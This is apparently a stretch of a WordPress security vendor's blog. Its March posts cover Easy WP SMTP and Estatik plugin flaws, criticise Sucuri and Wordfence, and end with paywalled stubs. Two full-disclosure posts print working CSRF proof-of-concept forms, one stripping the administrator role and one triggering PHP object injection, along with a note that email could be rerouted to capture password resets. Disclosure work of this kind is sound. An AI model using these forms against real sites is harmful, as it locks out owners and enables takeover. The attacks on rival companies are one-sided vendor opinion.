19 Mar

Other WordPress Plugin Vulnerability Data Sources Still Not Warning About Fixed or Unfixed Vulnerabilities in Easy WP SMTP

Today we have had a lot of traffic coming to our website to our posts about the vulnerabilities fixed and unfixed in the plugin Easy WP SMTP. The likely explanation is what else we have been seeing today, as in terms of dealing with the cleanup of hacked WordPress websites over at our main business and other mentions of hacked websites, we are seeing indications that the option update vulnerability that was fixed with that and possibly the other recently fixed option update vulnerability impacting many plugins are being exploited widely to change the WordPress option “siteurl” on websites to cause requests to be made to “getmyfreetraffic.com” (based on past experience with this type of vulnerability that likely isn’t the only thing the hackers are doing with the vulnerabilities on those websites).

Customers of our service using that plugin have already been warned about the fixed and unfixed vulnerabilities in that plugin, but for anyone relying on other data sources for info on vulnerabilities in plugins they use, they are so far in the dark.

Here for example are latest plugin vulnerabilities added to the data of WPScan Vulnerability Database:

That data source is widely used by various plugins and services, though often without disclosing it is the source.

And ThreatPress (which seems to consist mainly of data copied from WPScan):

If you keep your plugins up to date at all times as we recommend and created a plugin to assist in doing, then the impact of being in the dark would be limited since the vulnerability being exploited has been fixed already, but many people don’t follow that advice.

For example, we once ran across someone relying on email sent by the Wordfence Security plugin, which relies on WPScan’s data, to determine when to update plugins:

We maintain a large client base and rely on these emails to quickly determine if the update needs to be applied immediately (Security related) or if it can be put on hold temporarily (Feature update).

Amazingly Wordfence didn’t discourage that behavior despite that they should know how dangerous it is, instead one of their employees responded to that person by lying about the quality of their data.

Now is as good a time as ever time to sign up for our service. If you have a WordPress website that needs to cleaned you can get a free lifetime subscription while getting a proper cleanup (while other providers won’t even properly clean up the website).

19 Mar

Sucuri Doesn’t Actually Know How Websites are Being Hacked Because They Don’t Properly Clean Up Hacked Websites

Yesterday we noted that a report by Sucuri showed that they don’t know how websites are being hacked, but others citing the same report would tell you otherwise. Here was Paul Gilzow over at WPCampus mentioning the same report:

As in previous years, plugins/themes continue to be the main avenue for compromise.

But that isn’t actually what Sucuri said. Instead they said this (emphasis ours):

The leading cause of the infections, anecdotally, came from poorly configured plugins, modules, and extensions inside some of the more common CMSs; abused access control credentials; poorly configured applications and servers; and a lack of knowledge around security best practices. These issues continue to be the leading causes of today’s website hacks.

That shouldn’t be something that they only know anecdotally as trying to determine how websites are hacked is a basic part of hack cleanups and that report is supposed to be based on Sucuri cleaning up hacked websites. So what is going there? The answer is that they don’t properly clean up websites. We know that well because we are frequently brought in over at our main business to re-clean websites after they failed to properly clean them.

Among the problems with them doing that is that it makes everyone less secure, because if a website is being exploited through a zero-day vulnerability, which is one that is being exploited before the developer is aware of it, the sooner you figure that out the sooner that can be fixed. (That makes the moderators of WordPress Support Forum repeatedly violating the guidelines they are supposed to be enforcing to promote hiring Sucuri to clean up hacked websites seem even worse.)

If you want to consider the worst case scenario, Sucuri might not be trying to figure out how websites are hacked so that websites are less secure and that means more business for them, not just from cleanups, but also selling people security services that are not actually expected to work since people don’t even know how websites are getting hacked and therefore don’t know what actually needs to be done to protect them.

The best case scenario seems to be that that Sucuri, a major security company, is just incompetent.

Making any option more concerning, the lead for the WordPress Core Security Team is funded by Sucuri’s parent company GoDaddy, which seems like an issue in multiple different directions.

19 Mar

Full Disclosure of Cross-Site Request Forgery (CSRF)/Option Update Vulnerability in Estatik

As the finding and exploitation of an authenticated option update vulnerability in the Freemius library, which is used by many WordPress plugins, by hackers shows is that there has not been enough focus on making sure that code that can lead to option update vulnerabilities is properly secured. Through our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities we have been on the lookout for some of those since November and we keep finding them, though as with the one we found in the plugin Estatik sometimes things are coded in way that limits the worst possible result of that (that doesn’t always appear to have been intentional). In this case of this plugin, poor security isn’t a new issue as we spotted the possibility that another vulnerability due to poor security was being exploited back in June of 2016.

The plugin registers for the function remove() in the class Es_Data_Manager_Item to be accessible through WordPress’ AJAX functionality to anyone logged in:

20
add_action( 'wp_ajax_es_ajax_data_manager_remove_option', array( 'Es_Data_Manager_Item', 'remove' ) );

That function, which is located in the file /admin/classes/class-data-manager-currency-item.php, will update an arbitrary WordPress option (setting) specified by the post input “storage”:

143
144
145
146
147
148
149
150
151
152
153
154
155
public static function remove()
{
	// If valid ajax request.
	if ( static::is_valid_ajax() && $_POST['action'] ) {
		// Get available values.
		$values = Es_Settings_Container::get_setting_values( $_POST['container'] );
 
		// Remove item using ID and storage.
		if ( ! empty( $values ) ) {
			$values = get_option( $_POST['storage'], array() );
			$key = sanitize_key( $_POST['id'] );
			unset( $values[ $key ] );
			update_option( $_POST['storage'], $values );

Before doing that though the plugin requires that the function is_valid_ajax() return true. That does limit access to changing the option to those with “manage_option” capability, which only Administrators normally have:

94
95
96
97
public static function is_valid_ajax()
{
	return is_admin() && defined( 'DOING_AJAX' ) && DOING_AJAX && current_user_can( 'manage_options' );
}

It wouldn’t be a vulnerability for Administrators to be able to update arbitrary options, since they can normally do the equivalent of it already, but through cross-site request forgery (CSRF) an attacker could have cause them to do it with intending it.

Where this is further limited is the code that determines what the new value for the setting will be. In our testing the option being updated needed to have a current value that is an array, since an element of that will be removed. One nasty way this could be exploited is by removing the Administrator role from the “wp_user_roles” option, which would cause users with that role to be unable to access any admin page of the website.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Proof of Concept

The following proof of concept will remove the Administrator role, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="es_ajax_data_manager_remove_option" />
<input type="hidden" name="id" value="administrator" />
<input type="hidden" name="container" value="privacy_policy_checkbox" />
<input type="hidden" name="storage" value="wp_user_roles" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
18 Mar

No, 90 Percent of Hacked Websites in 2018 Were Not Running WordPress

Back in January we noted that that a good rule of thumb is that security statistics are probably not accurate, we were quickly proved right about the particular stat that caused that observation. Here is another stat that you are likely to be seeing a lot of despite not being accurate:

But it’s also the most hacked, with a report from security firm Sucuri earlier this month revealing that 90% of compromised sites in 2018 were powered by the platform.

That comes from an article from the The Daily Swig, which we got notified of through a Google Alert we have set related to keeping track of WordPress plugin vulnerabilities.

If you follow the link there to the Sucuri Website Hack Trend Report 2018
and read what is written you find there is a different story.

First it is actually a claim about hacked websites that Sucuri cleaned:

WordPress continues to be the leading infected website CMS (90% of all websites cleaned by Sucuri in 2018).

Unless they are get a perfect sample of all hacked websites, that percentage will be somewhat and maybe far off from the overall percentage (due to things like the moderators of the WordPress Support Forum violating the guidelines they are supposed to enforcing to promote Sucuri), but that isn’t the only issue.

By websites they apparently are counting if a WordPress installation is just in the hosting account where there is a hacked website:

Note: The data in this graph exceeds 100% due to the fact that some websites may have multiple CMS installations. For example, it’s common to see both WordPress and Joomla! installed on the same server account.

Considering that an account could have numerous websites in it and that WordPress is very popular that could make the percentage significantly less accurate.

What seems even more important to note is what is missing from the linked report, which is any actually data on how websites were actually hacked. That is a huge red flag when it comes to a company cleaning up hacked since trying to determine how websites are hacked is a basic part of a proper hack cleanup. There is a good reason why that is missing, Sucuri doesn’t properly clean up hacked websites. You don’t have to take our word for that, they admit that they don’t try to figure out how they are hacked.

That isn’t a small issue as over at our main business we are repeatedly brought in to re-clean hacked websites previously cleaned by Sucuri and what we find again and again is if they had tried to figure out why the website had been hacked they would have seen that they had miss malicious files on the website, but they didn’t, so the website remained hacked.

The other big problem with that is that if you don’t how websites are being hacked you are going to have a hard time protecting websites from being hacked, which is the other part of Sucuri’s service, and one they don’t seem to do a good job of (which might explain why they make such a big deal of including “unlimited” cleanups with a service that is supposed to be protecting websites from being hacked in the first place).

18 Mar

Missed Vulnerabilities in Easy WP SMTP Show Why Checking Over Security Fixes is Important

One of the things that we do to make sure we are providing our customers with the best data on vulnerabilities in WordPress plugins they might be using is that we monitor the changelog for plugins to spot the possibility that vulnerabilities have been fixed and then we try to figure if the changes actually involve a vulnerability. In doing that we have often found that vulnerabilities have only been partially fixed or haven’t been fixed at all. That is the case with the plugin Easy WP SMTP, which has 300,000+ active installations according to wordpress.org, where we reviewed the changes made before the discoverer had put out a post on the vulnerabilities.

The changelog for the latest release of that is:

Fixed potential vulnerability in import\export settings.

When we went to look at the changes made in that version we found that in fact there were multiple exploitable vulnerabilities, so the “potential” part comes off strange. It gets stranger when you consider that, as we later ran across, the discoverer of this NinTechNet reports that one of the vulnerabilities was already being exploited before being fixed:

The vulnerability, found in version v1.3.9, has been exploited by hackers since at least March 15, and was caught by our Web Application Firewall for WordPress, NinjaFirewall (WP Edition).

(Update (3/19/2019): If you need a WordPress website that is hacked through this vulnerability (or some other) we do proper hack cleanups of WordPress websites over at our main business and they include a free lifetime subscription to our Plugin Vulnerabilities service.)

Their post also includes this:

We reported the vulnerability to the authors and the wordpress.org team on March 15 and a new version 1.3.9.1 was released on March 17.

What their post is missing are any details of what the fix was (in fact the post is quite light on details beyond how to exploit one of the vulnerabilities), which turns out to be important since some of the vulnerabilities were due to multiple security failures and a quick look at the changes showed that one of those hasn’t been fixed in multiple places.

As an example of that let’s take a look at PHP object injection vulnerability in the plugin, which we already detailed for our customers.

Details

Based on it its name, not surprisingly, the function admin_init() in the plugin runs during admin_init:

30
add_action( 'admin_init', array( $this, 'admin_init' ) );

That means that anything that runs in that function can be accessed by those not logged in to WordPress.

In the previous version in that function the following code was not restricted in any way:

301
302
303
304
305
306
307
308
309
310
$is_import_settings = filter_input( INPUT_POST, 'swpsmtp_import_settings', FILTER_SANITIZE_NUMBER_INT );
if ( $is_import_settings ) {
	$err_msg = __( 'Error occurred during settings import', 'easy-wp-smtp' );
	if ( empty( $_FILES[ 'swpsmtp_import_settings_file' ] ) ) {
	echo $err_msg;
	wp_die();
	}
	$in_raw = file_get_contents( $_FILES[ 'swpsmtp_import_settings_file' ][ 'tmp_name' ] );
	try {
	$in = unserialize( $in_raw );

If the POST input “swpsmtp_import_settings” is set to “1” the contents of the FILE input “swpsmtp_import_settings_file” will be unserialized, which permits PHP object injection to occur.

In the new version access to that code is restricted to users with the “manage_options” capability, which normally only Administrators have:

252
if ( current_user_can( 'manage_options' ) ) {

What is still missing is protection against cross-site request forgery (CSRF), which is a vulnerability where an attacker can cause someone else to take an action they didn’t intend to. That type of issue was a key part of a vulnerability fixed in the latest version of WordPress. In this case if you can get a logged in Administrator to access a page you control you can cause the PHP object injection to occur.

What also probably should be done is to switch from using serialize()/unserialize() to json_encode()/json_decode() for handling exporting/importing the plugin’s settings.

For us it is hard to understand how no one else noticed that, since CSRF protection should obviously have been in place for that code (if had been then the exploited vulnerability likely wouldn’t have been).

Update (3/19/2019): We should have mentioned yesterday that the code that runs right after the first usage on unserialize() also involves another vulnerability exploitable through CSRF, as it updates the plugin’s settings:

311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
		    if ( empty( $in[ 'data' ] ) ) {
			echo $err_msg;
			wp_die();
		    }
		    if ( empty( $in[ 'checksum' ] ) ) {
			echo $err_msg;
			wp_die();
		    }
		    if ( md5( $in[ 'data' ] ) !== $in[ 'checksum' ] ) {
			echo $err_msg;
			wp_die();
		    }
		    $data = unserialize( $in[ 'data' ] );
		    update_option( 'swpsmtp_options', $data[ 'swpsmtp_options' ] );
		    update_option( 'swpsmtp_pass_encrypted', $data[ 'swpsmtp_pass_encrypted' ] );
		    if ( $data[ 'swpsmtp_pass_encrypted' ] ) {
			update_option( 'swpsmtp_enc_key', $data[ 'swpsmtp_enc_key' ] );
		    }
		    update_option( 'smtp_test_mail', $data[ 'smtp_test_mail' ] );

That could be abused by an attacker to redirect all of the email sent out by the website to them (and say used to gain access to password reset emails).

Not a One Off

The lack of CSRF protection isn’t limited to just that code related to importing settings for the plugin. For example, the plugin has an AJAX accessible function for clearing its log file, which lacks that as well.

Here is the entirety of the code that runs when accessing that function:

364
365
366
367
368
369
370
371
function clear_log() {
if ( $this->log( "Easy WP SMTP debug log file\r\n\r\n", true ) !== false ) {
	echo '1';
} else {
	echo 'Can\'t clear log - log file is not writeable.';
}
die;
}

Checking for CSRF vulnerabilities in admin functionality has been part of security reviews we do as part of our main service (and separately) since the beginning, so the lack of its usage in this plugin is something we would have caught during one of those. (The other causes of the vulnerabilities in this plugin would have also been caught during multiple other checks that we do related to checking code that runs admin_init, checking for PHP object injection vulnerabilities, and option update vulnerabilities.)

Full Disclosure

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, the following proof of concept will cause the message “PHP object injection has occurred.” be shown, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress and have the contents of the file being included be ‘O:20:”php_object_injection”:0:{}’.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-post.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="swpsmtp_import_settings" value="1" />
<input type="file" name="swpsmtp_import_settings_file" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
18 Mar

Vulnerability Details: Option Update Vulnerability in Easy WP SMTP

This Vulnerability Details post about a vulnerability in the plugin Easy WP SMTP provides the details of a vulnerability we ran across while collecting data on vulnerabliities discovered by others for our data set on vulnerabilities in WordPress plugins, so its contents are limited to customers of our service. If you are not currently a customer, you can sign up for free here. There are a lot of other reason that you will want to sign up beyond access to posts like this one, including that you would have already been warned about this vulnerability if your website was vulnerable due to it.

For existing customers, please log in to your account to view the rest of the post.

18 Mar

Vulnerability Details: Information Disclosure in Easy WP SMTP

This Vulnerability Details post about a vulnerability in the plugin Easy WP SMTP provides the details of a vulnerability we ran across while collecting data on vulnerabliities discovered by others for our data set on vulnerabilities in WordPress plugins, so its contents are limited to customers of our service. If you are not currently a customer, you can sign up for free here. There are a lot of other reason that you will want to sign up beyond access to posts like this one, including that you would have already been warned about this vulnerability if your website was vulnerable due to it.

For existing customers, please log in to your account to view the rest of the post.

18 Mar

Vulnerability Details: PHP Object Injection in Easy WP SMTP

This Vulnerability Details post about a vulnerability in the plugin Easy WP SMTP provides the details of a vulnerability we ran across while collecting data on vulnerabliities discovered by others for our data set on vulnerabilities in WordPress plugins, so its contents are limited to customers of our service. If you are not currently a customer, you can sign up for free here. There are a lot of other reason that you will want to sign up beyond access to posts like this one, including that you would have already been warned about this vulnerability if your website was vulnerable due to it.

For existing customers, please log in to your account to view the rest of the post.

18 Mar

Vulnerability Details: Information Disclosure in Easy WP SMTP

This Vulnerability Details post about a vulnerability in the plugin Easy WP SMTP provides the details of a vulnerability we ran across while collecting data on vulnerabliities discovered by others for our data set on vulnerabilities in WordPress plugins, so its contents are limited to customers of our service. If you are not currently a customer, you can sign up for free here. There are a lot of other reason that you will want to sign up beyond access to posts like this one, including that you would have already been warned about this vulnerability if your website was vulnerable due to it.

For existing customers, please log in to your account to view the rest of the post.

18 Mar

Vulnerability Details: Cross-Site Request Forgery (CSRF) in Rate my Post – WP Post Rating

This Vulnerability Details post about a vulnerability in the plugin Rate my Post - WP Post Rating provides the details of a vulnerability we ran across while collecting data on vulnerabliities discovered by others for our data set on vulnerabilities in WordPress plugins, so its contents are limited to customers of our service. If you are not currently a customer, you can sign up for free here. There are a lot of other reason that you will want to sign up beyond access to posts like this one, including that you would have already been warned about this vulnerability if your website was vulnerable due to it.

For existing customers, please log in to your account to view the rest of the post.